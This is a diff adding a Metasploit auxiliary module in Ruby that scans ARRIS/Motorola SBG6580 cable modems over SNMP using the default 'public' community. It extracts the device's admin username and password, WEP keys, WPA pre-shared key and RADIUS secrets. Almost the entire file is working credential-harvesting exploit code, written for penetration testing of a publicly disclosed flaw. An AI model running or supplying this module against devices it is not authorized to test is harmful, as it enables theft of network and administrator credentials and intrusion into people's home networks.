|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::SNMPClient |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module', |
| 17 | + 'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola |
| 18 | + SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username |
| 19 | + and password for the device user interface as well as wireless network keys |
| 20 | + and information. |
| 21 | + The default community used is "public".', |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + [ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ], |
| 25 | + [ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ], |
| 26 | + ], |
| 27 | + 'Author' => 'Matthew Kienow <mkienow[at]inokii.com>', |
| 28 | + 'License' => MSF_LICENSE |
| 29 | + )) |
| 30 | + |
| 31 | + # change SNMP version option to match device specification |
| 32 | + register_options( |
| 33 | + [ |
| 34 | + OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ]) |
| 35 | + ], self.class) |
| 36 | + end |
| 37 | + |
| 38 | + def run_host(ip) |
| 39 | + |
| 40 | + begin |
| 41 | + snmp = connect_snmp |
| 42 | + |
| 43 | + # represents the order of the output data fields |
| 44 | + fields_order = [ |
| 45 | + "Host IP", "Username", "Password", "SSID", "802.11 Band", |
| 46 | + "Network Authentication Mode", "WEP Passphrase", "WEP Encryption", |
| 47 | + "WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4", |
| 48 | + "Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)", |
| 49 | + "RADIUS Server", "RADIUS Port", "RADIUS Key" |
| 50 | + ] |
| 51 | + |
| 52 | + output_data = {"Host IP" => ip} |
| 53 | + |
| 54 | + sys_descr = snmp.get_value('sysDescr.0') |
| 55 | + if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/ |
| 56 | + # print connected status after the first query so if there are |
| 57 | + # any timeout or connectivity errors; the code would already |
| 58 | + # have jumped to error handling where the error status is |
| 59 | + # already being displayed. |
| 60 | + print_good("#{ip}, Connected.") |
| 61 | + |
| 62 | + # attempt to get the username and password for the device user interface |
| 63 | + # using the CableHome cabhPsDevMib MIB module which defines the |
| 64 | + # basic management objects for the Portal Services (PS) logical element |
| 65 | + # of a CableHome compliant Residential Gateway device |
| 66 | + device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0') |
| 67 | + if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1 |
| 68 | + # manufacturerLocal(1) - indicates Portal Services is using the vendor |
| 69 | + # web user interface shipped with the device |
| 70 | + device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0') |
| 71 | + if is_valid_snmp_value(device_ui_username) |
| 72 | + output_data["Username"] = device_ui_username.to_s |
| 73 | + end |
| 74 | + |
| 75 | + device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') |
| 76 | + if is_valid_snmp_value(device_ui_password) |
| 77 | + output_data["Password"] = device_ui_password.to_s |
| 78 | + end |
| 79 | + end |
| 80 | + |
| 81 | + wifi_ifindex = get_primary_wifi_ifindex(snmp) |
| 82 | + if wifi_ifindex < 1 |
| 83 | + print_status("Primary WiFi is disabled on the device") |
| 84 | + end |
| 85 | + |
| 86 | + ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}") |
| 87 | + if is_valid_snmp_value(ssid) |
| 88 | + output_data["SSID"] = ssid.to_s |
| 89 | + end |
| 90 | + |
| 91 | + wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0') |
| 92 | + if is_valid_snmp_value(wireless_band) |
| 93 | + output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i) |
| 94 | + end |
| 95 | + |
| 96 | + network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}") |
| 97 | + if is_valid_snmp_value(network_auth_mode) |
| 98 | + network_auth_mode = network_auth_mode.to_i |
| 99 | + network_auth_mode_name = get_network_auth_mode_name(network_auth_mode) |
| 100 | + output_data["Network Authentication Mode"] = network_auth_mode_name |
| 101 | + end |
| 102 | + |
| 103 | + case network_auth_mode |
| 104 | + when 1, 6 |
| 105 | + # WEP, WEP 802.1x Authentication |
| 106 | + wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}") |
| 107 | + if is_valid_snmp_value(wep_passphrase) |
| 108 | + output_data["WEP Passphrase"] = wep_passphrase.to_s |
| 109 | + end |
| 110 | + |
| 111 | + wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}") |
| 112 | + if is_valid_snmp_value(wep_encryption) |
| 113 | + wep_encryption = wep_encryption.to_i |
| 114 | + else |
| 115 | + wep_encryption = -1 |
| 116 | + end |
| 117 | + |
| 118 | + wep_encryption_name = "Unknown" |
| 119 | + wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil |
| 120 | + # get appropriate WEP keys based on wep_encryption setting |
| 121 | + if wep_encryption == 1 |
| 122 | + wep_encryption_name = "64-bit" |
| 123 | + wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1") |
| 124 | + wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2") |
| 125 | + wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3") |
| 126 | + wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4") |
| 127 | + elsif wep_encryption == 2 |
| 128 | + wep_encryption_name = "128-bit" |
| 129 | + wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1") |
| 130 | + wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2") |
| 131 | + wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3") |
| 132 | + wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4") |
| 133 | + end |
| 134 | + |
| 135 | + output_data["WEP Encryption"] = wep_encryption_name |
| 136 | + if is_valid_snmp_value(wep_key1) |
| 137 | + output_data["WEP Key 1"] = wep_key1.unpack('H*')[0] |
| 138 | + end |
| 139 | + if is_valid_snmp_value(wep_key2) |
| 140 | + output_data["WEP Key 2"] = wep_key2.unpack('H*')[0] |
| 141 | + end |
| 142 | + if is_valid_snmp_value(wep_key3) |
| 143 | + output_data["WEP Key 3"] = wep_key3.unpack('H*')[0] |
| 144 | + end |
| 145 | + if is_valid_snmp_value(wep_key4) |
| 146 | + output_data["WEP Key 4"] = wep_key4.unpack('H*')[0] |
| 147 | + end |
| 148 | + |
| 149 | + # get current network key |
| 150 | + current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}") |
| 151 | + if is_valid_snmp_value(current_key) |
| 152 | + output_data["Current Network Key"] = current_key.to_s |
| 153 | + end |
| 154 | + |
| 155 | + if network_auth_mode == 6 |
| 156 | + get_radius_info(snmp, wifi_ifindex, output_data) |
| 157 | + end |
| 158 | + |
| 159 | + when 2, 3, 4, 5, 7, 8 |
| 160 | + # process all flavors of WPA |
| 161 | + wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}") |
| 162 | + if is_valid_snmp_value(wpa_encryption) |
| 163 | + output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i) |
| 164 | + end |
| 165 | + |
| 166 | + wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}") |
| 167 | + if is_valid_snmp_value(wpa_psk) |
| 168 | + output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s |
| 169 | + end |
| 170 | + |
| 171 | + case network_auth_mode |
| 172 | + when 4, 5, 8 |
| 173 | + get_radius_info(snmp, wifi_ifindex, output_data) |
| 174 | + end |
| 175 | + end |
| 176 | + |
| 177 | + # output |
| 178 | + print_line("") |
| 179 | + print_status("Device information:\n") |
| 180 | + line = "" |
| 181 | + width = 30 # name field width |
| 182 | + |
| 183 | + fields_order.each {|k| |
| 184 | + if not output_data.has_key?(k) |
| 185 | + next |
| 186 | + end |
| 187 | + |
| 188 | + v = output_data[k] |
| 189 | + if (v.nil? or v.empty? or v =~ /Null/) |
| 190 | + v = '-' |
| 191 | + end |
| 192 | + |
| 193 | + report_note( |
| 194 | + :host => ip, |
| 195 | + :proto => 'udp', |
| 196 | + :sname => 'snmp', |
| 197 | + :port => datastore['RPORT'].to_i, |
| 198 | + :type => "snmp.#{k}", |
| 199 | + :data => v |
| 200 | + ) |
| 201 | + |
| 202 | + line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v) |
| 203 | + } |
| 204 | + |
| 205 | + print_line(line) |
| 206 | + else |
| 207 | + print_error("#{ip} does not appear to be a SBG6580.") |
| 208 | + end |
| 209 | + |
| 210 | + rescue SNMP::RequestTimeout |
| 211 | + print_error("#{ip} SNMP request timeout.") |
| 212 | + rescue Rex::ConnectionError |
| 213 | + print_error("#{ip} Connection refused.") |
| 214 | + rescue SNMP::InvalidIpAddress |
| 215 | + print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") |
| 216 | + rescue SNMP::UnsupportedVersion |
| 217 | + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") |
| 218 | + rescue ::Interrupt |
| 219 | + raise $! |
| 220 | + rescue ::Exception => e |
| 221 | + print_error("Unknown error: #{e.class} #{e}") |
| 222 | + elog("Unknown error: #{e.class} #{e}") |
| 223 | + elog("Call stack:\n#{e.backtrace.join "\n"}") |
| 224 | + ensure |
| 225 | + disconnect_snmp |
| 226 | + end |
| 227 | + end |
| 228 | + |
| 229 | + def get_primary_wifi_ifindex(snmp) |
| 230 | + # The ifTable contains interface entries where each row represents |
| 231 | + # management information for a particular interface. Locate the first |
| 232 | + # interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up). |
| 233 | + wifi_ifindex = 0 |
| 234 | + ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"] |
| 235 | + snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus| |
| 236 | + if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1) |
| 237 | + wifi_ifindex = ifIndex.value.to_i |
| 238 | + end |
| 239 | + end |
| 240 | + wifi_ifindex |
| 241 | + end |
| 242 | + |
| 243 | + def is_valid_snmp_value(value) |
| 244 | + if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/ |
| 245 | + return false |
| 246 | + end |
| 247 | + return true |
| 248 | + end |
| 249 | + |
| 250 | + def get_network_auth_mode_name(network_auth_mode) |
| 251 | + case network_auth_mode |
| 252 | + when 0 |
| 253 | + "Open Security" |
| 254 | + when 1 |
| 255 | + "WEP" |
| 256 | + when 2 |
| 257 | + "WPA-PSK" |
| 258 | + when 3 |
| 259 | + "WPA2-PSK" |
| 260 | + when 4 |
| 261 | + "WPA RADIUS" |
| 262 | + when 5 |
| 263 | + "WPA2 RADIUS" |
| 264 | + when 6 |
| 265 | + "WEP 802.1x Authentication" |
| 266 | + when 7 |
| 267 | + "WPA-PSK and WPA2-PSK" |
| 268 | + when 8 |
| 269 | + "WPA and WPA2 RADIUS" |
| 270 | + else |
| 271 | + "Unknown" |
| 272 | + end |
| 273 | + end |
| 274 | + |
| 275 | + def get_wireless_band_name(wireless_band) |
| 276 | + case wireless_band |
| 277 | + when 1 |
| 278 | + "2.4 Ghz" |
| 279 | + when 2 |
| 280 | + "5 Ghz" |
| 281 | + else |
| 282 | + "Unknown" |
| 283 | + end |
| 284 | + end |
| 285 | + |
| 286 | + def get_wpa_encryption_name(wpa_encryption) |
| 287 | + case wpa_encryption |
| 288 | + when 2 |
| 289 | + "AES" |
| 290 | + when 3 |
| 291 | + "TKIP+AES" |
| 292 | + else |
| 293 | + "Unknown" |
| 294 | + end |
| 295 | + end |
| 296 | + |
| 297 | + def get_radius_info(snmp, wifi_ifindex, output_data) |
| 298 | + radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}") |
| 299 | + if is_valid_snmp_value(radius_server) |
| 300 | + output_data["RADIUS Server"] = radius_server.unpack("C4").join(".") |
| 301 | + end |
| 302 | + |
| 303 | + radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}") |
| 304 | + if is_valid_snmp_value(radius_port) |
| 305 | + output_data["RADIUS Port"] = radius_port.to_s.strip |
| 306 | + end |
| 307 | + |
| 308 | + radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}") |
| 309 | + if is_valid_snmp_value(radius_key) |
| 310 | + output_data["RADIUS Key"] = radius_key.to_s |
| 311 | + end |
| 312 | + end |
| 313 | + |
| 314 | +end |
0 commit comments